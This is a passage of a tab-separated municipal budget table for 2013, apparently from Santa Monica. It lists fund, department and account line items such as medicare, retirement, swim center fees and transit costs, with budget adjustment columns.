1343	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2013	86385.0	0	0.0	0.0	0	0	0.0	864	0.0	0	0	0.0	87249.0
1344	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EAP	804.0	Salaries and Wages	2013	931.0	0	0.0	0.0	0	0	0.0	50	0.0	0	0	0.0	981.0
1345	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DCAP	804.0	Salaries and Wages	2013	624.0	0	0.0	0.0	0	0	0.0	30	0.0	0	0	0.0	654.0
1346	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EAP	804.0	Salaries and Wages	2013	1557.0	0	0.0	-4.0	0	0	0.0	0	0.0	0	0	0.0	1553.0
1347	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DCAP	804.0	Salaries and Wages	2013	1056.0	0	0.0	-12.0	0	0	0.0	0	0.0	0	0	0.0	1044.0
1348	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DCAP	804.0	Salaries and Wages	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
1349	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		UNEMPLOYMENT	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	2997	0	0.0	2997.0
1350	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		UNEMPLOYMENT	806.0	Salaries and Wages	2013	3937.0	0	0.0	0.0	0	0	0.0	39	0.0	0	0	0.0	3976.0
1351	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2013	1415.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1415.0
1352	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		DISABILITY INSURANCE	806.0	Salaries and Wages	2013	6258.0	0	0.0	0.0	0	0	0.0	63	0.0	0	0	0.0	6321.0
1353	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EAP	806.0	Salaries and Wages	2013	7082.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7082.0
1354	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DCAP	806.0	Salaries and Wages	2013	4920.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4920.0
1355	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2013	42096.0	0	0.0	0.0	0	0	0.0	421	0.0	0	0	0.0	42517.0
1356	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2013	8463.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8463.0
1357	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DCAP	806.0	Salaries and Wages	2013	3576.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3576.0
1358	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2013	4403.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4403.0
1359	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		UNEMPLOYMENT	806.0	Salaries and Wages	2013	48891.0	0	0.0	0.0	0	0	0.0	489	0.0	0	0	0.0	49380.0
1360	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EAP	806.0	Salaries and Wages	2013	1353.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1353.0
1361	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DCAP	840.0	Salaries and Wages	2013	3240.0	0	0.0	-12.0	0	0	0.0	0	0.0	0	0	0.0	3228.0
1362	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2013	5688.0	0	0.0	72.0	-72	0	0.0	0	0.0	0	0	0.0	5688.0
1363	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	12132.0	0	0.0	115.0	-115	0	0.0	0	0.0	0	0	0.0	12132.0
1364	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EAP		Salaries and Wages	2013	731.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	731.0
1365	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		LIFE INSURANCE & AD & D		Salaries and Wages	2013	805.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	805.0
1366	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		UNEMPLOYMENT	840.0	Salaries and Wages	2013	7484.0	0	0.0	0.0	0	0	0.0	75	0.0	0	0	0.0	7559.0
1367	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		EAP	840.0	Salaries and Wages	2013	2279.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2279.0
1368	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	1091.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1091.0
1369	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405080.0	SALE OF MUNICIPAL CODES	612.0	Charges for Service	2013	-100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-100.0
1370	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404680.0	HMRRP FEES	612.0	Charges for Service	2013	-104040.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-104040.0
1371	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2013	2022.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2022.0
1372	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	5657.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5657.0
1373	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	555210.0	TRAINING	806.0	 Supplies and Expenses	2013	510.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	510.0
1374	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511250.0	STANDBY PAY	806.0	Salaries and Wages	2013	30676.0	0	0.0	0.0	0	0	0.0	307	0.0	0	0	0.0	30983.0
1375	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544010.0	SPEC DEPT SUPPLIES	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
1376	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588040.0	COMMUNICATIONS SYSTEMS		 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
1377	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2013	315210.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	315210.0
1378	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522620.0	RENT	810.0	 Supplies and Expenses	2013	68658.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	68658.0
1379	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2013	21800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21800.0
1380	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	402730.0	SMURRF-CITY OF LA-O & M	650.0	Charges for Service	2013	-153000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-153000.0
1381	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400191.0	STREET PERFORMERS PERMIT	608.0	Licenses and Permits	2013	-47000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-47000.0
1382	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	806.0	 Supplies and Expenses	2013	11451.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11451.0
1383	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533640.0	CONF / MTGS / TRAVEL-TW	804.0	 Supplies and Expenses	2013	6966.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6966.0
1384	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533650.0	CONF / MTGS / TRAVEL-TV	804.0	 Supplies and Expenses	2013	6966.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6966.0
1385	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS		 Supplies and Expenses	2013	79555.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	79555.0
1386	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2013	2040.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2040.0
1387	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
1388	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400770.0	LEASE RENTAL REVENUE	618.0	Rentals	2013	-3806434.0	-98280	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3904714.0
1389	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	404360.0	CIRQUE DU SOLEIL	612.0	Charges for Service	2013	-1000000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000000.0
1390	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2013	-433500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-433500.0
1391	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2013	811313.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	811313.0
1392	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2013	103866.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	103866.0
1393	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		UNEMPLOYMENT	804.0	Salaries and Wages	2013	442.0	0	0.0	0.0	0	0	0.0	4	0.0	0	0	0.0	446.0
1394	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	1418.0	0	0.0	0.0	0	0	0.0	14	0.0	0	0	0.0	1432.0
1395	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	1468.0	0	0.0	0.0	0	0	0.0	15	0.0	0	0	0.0	1483.0
1396	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		DCAP	804.0	Salaries and Wages	2013	1428.0	0	0.0	-12.0	0	0	0.0	0	0.0	-17	0	0.0	1399.0
1397	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DCAP	808.0	Salaries and Wages	2013	360.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	360.0
1398	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2013	3662.0	0	0.0	0.0	0	0	0.0	37	0.0	0	0	0.0	3699.0
1399	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	3033.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3033.0
1400	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2013	432.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	432.0
1401	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2013	5727.0	0	0.0	-320.0	0	0	0.0	54	0.0	0	0	0.0	5461.0
1402	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2013	1608.0	0	0.0	-60.0	0	0	0.0	0	0.0	0	0	0.0	1548.0
1403	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	4461.0	0	0.0	0.0	0	0	0.0	45	0.0	0	0	0.0	4506.0
1404	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EAP	812.0	Salaries and Wages	2013	1146.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1146.0
1405	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EAP	816.0	Salaries and Wages	2013	522.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	522.0
1406	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EAP	816.0	Salaries and Wages	2013	2188.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2188.0
1407	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DCAP	816.0	Salaries and Wages	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
1408	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DCAP	816.0	Salaries and Wages	2013	2496.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2496.0
1409	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	22372.0	0	0.0	0.0	0	0	0.0	224	0.0	0	0	0.0	22596.0
1410	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EAP	816.0	Salaries and Wages	2013	1353.0	0	0.0	0.0	0	0	0.0	-157	0.0	24	0	0.0	1220.0
1411	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	3935.0	0	0.0	0.0	0	0	0.0	-499	0.0	102	0	0.0	3538.0
1412	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	10025.0	0	0.0	0.0	0	0	0.0	-1164	0.0	186	0	0.0	9047.0
1413	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2013	38999.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38999.0
1414	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	4017407.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4017407.0
1415	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	43629.0	6294	0.0	0.0	0	0	0.0	34576	0.0	0	0	0.0	84499.0
1416	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	166351.0	10172	0.0	0.0	0	0	0.0	1765	0.0	0	0	0.0	178288.0
1417	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2013	2224.0	0	0.0	0.0	0	0	0.0	22	0.0	0	0	0.0	2246.0
1418	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	406071.0	PLAYA VISTA	650.0	Charges for Service	2013	-626351.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-626351.0
1419	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	577850.0	CONTINGENCY	804.0	 Supplies and Expenses	2013	63799.0	0	0.0	0.0	0	0	0.0	57532	0.0	11688	0	-29143.0	103876.0
1420	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	19573.0	0	0.0	0.0	0	0	0.0	696	0.0	0	0	0.0	20269.0
1421	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	26783.0	0	0.0	0.0	0	0	0.0	268	0.0	0	0	0.0	27051.0
1422	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	104794.0	0	0.0	0.0	0	0	0.0	1048	0.0	0	0	0.0	105842.0
1423	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2013	211129.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	211129.0
1424	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2013	57124.0	0	0.0	0.0	0	0	0.0	571	0.0	0	0	0.0	57695.0
1425	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2013	43957.0	0	0.0	0.0	0	0	0.0	440	0.0	0	0	0.0	44397.0
1426	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2013	65867.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65867.0
1427	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	10159.0	0	0.0	2000.0	0	0	0.0	998	0.0	0	0	0.0	13157.0
1428	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	32577.0	0	0.0	0.0	0	0	0.0	326	0.0	0	0	0.0	32903.0
1429	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	988.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	998.0
1430	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	8497.0	0	0.0	0.0	0	0	0.0	85	0.0	0	0	0.0	8582.0
1431	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	11832.0	0	0.0	0.0	0	0	0.0	-351	0.0	0	0	0.0	11481.0
1432	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401001.0	SWIM CENTER-GROUP LESSONS	612.0	Charges for Service	2013	-173047.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-173047.0
1433	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401004.0	SWIM CENTER-PERMIT GROUPS	612.0	Charges for Service	2013	-154324.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-154324.0
1434	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	8576.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8576.0
1435	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DCAP	808.0	Salaries and Wages	2013	276.0	72	0.0	0.0	0	0	0.0	144	0.0	0	0	0.0	492.0
1436	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	113359.0	0	0.0	0.0	0	0	0.0	-16957	0.0	0	0	0.0	96402.0
1437	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	13596.0	0	0.0	0.0	0	0	0.0	-1468	0.0	0	0	0.0	12128.0
1438	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	487199.0	-15383	0.0	0.0	0	0	0.0	-26933	0.0	0	0	0.0	444883.0
1439	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2013	217.0	0	0.0	0.0	0	0	0.0	2	0.0	0	0	0.0	219.0
1440	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2013	-250000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-250000.0
1441	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
1442	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	2874.0	0	0.0	0.0	0	0	0.0	29	0.0	0	0	0.0	2903.0
1443	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	22103.0	0	0.0	-59.0	0	0	0.0	220	0.0	-364	0	0.0	21900.0
1444	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2013	5967.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5967.0
1445	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	8347.0	0	0.0	0.0	0	0	0.0	83	0.0	0	0	0.0	8430.0
1446	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2013	34385.0	0	0.0	0.0	0	0	0.0	344	0.0	0	0	0.0	34729.0
1447	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	82221.0	0	0.0	943.0	-943	0	0.0	822	0.0	0	0	0.0	83043.0
1448	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401007.0	SWIM CENTER-SEMI-PRIVATE LESSO	612.0	Charges for Service	2013	-85832.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-85832.0
1449	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	533670.0	IMAGING COSTS	816.0	 Supplies and Expenses	2013	2974.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2974.0
1450	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2013	509.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	509.0
1451	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	5176.0	0	0.0	-1700.0	0	0	0.0	0	0.0	0	0	0.0	3476.0
1452	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2013	404.0	0	0.0	-130.0	0	0	0.0	0	0.0	0	0	0.0	274.0
1453	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	59616.0	0	0.0	-19327.0	0	0	0.0	403	0.0	0	0	0.0	40692.0
1454	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	2210.0	0	0.0	-600.0	0	0	0.0	16	0.0	0	0	0.0	1626.0
1455	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	4563.0	0	0.0	0.0	0	0	0.0	46	0.0	0	0	0.0	4609.0
1456	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2013	3365.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3365.0
1457	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	15528.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15528.0
1458	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2013	153939.0	0	0.0	0.0	0	0	0.0	1539	0.0	0	0	0.0	155478.0
1459	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2013	311972.0	0	0.0	0.0	0	0	0.0	-2500	0.0	0	0	0.0	309472.0
1460	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2013	39050.0	0	0.0	0.0	0	0	0.0	-425	0.0	0	0	0.0	38625.0
1461	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2013	53690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	53690.0
1462	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2013	693432.0	0	0.0	-47.0	0	0	0.0	0	0.0	0	0	0.0	693385.0
1463	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	966627.0	0	0.0	12365.0	-12365	0	0.0	9666	0.0	0	0	0.0	976293.0
1464	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	75153.0	0	0.0	0.0	0	0	0.0	752	0.0	0	0	0.0	75905.0
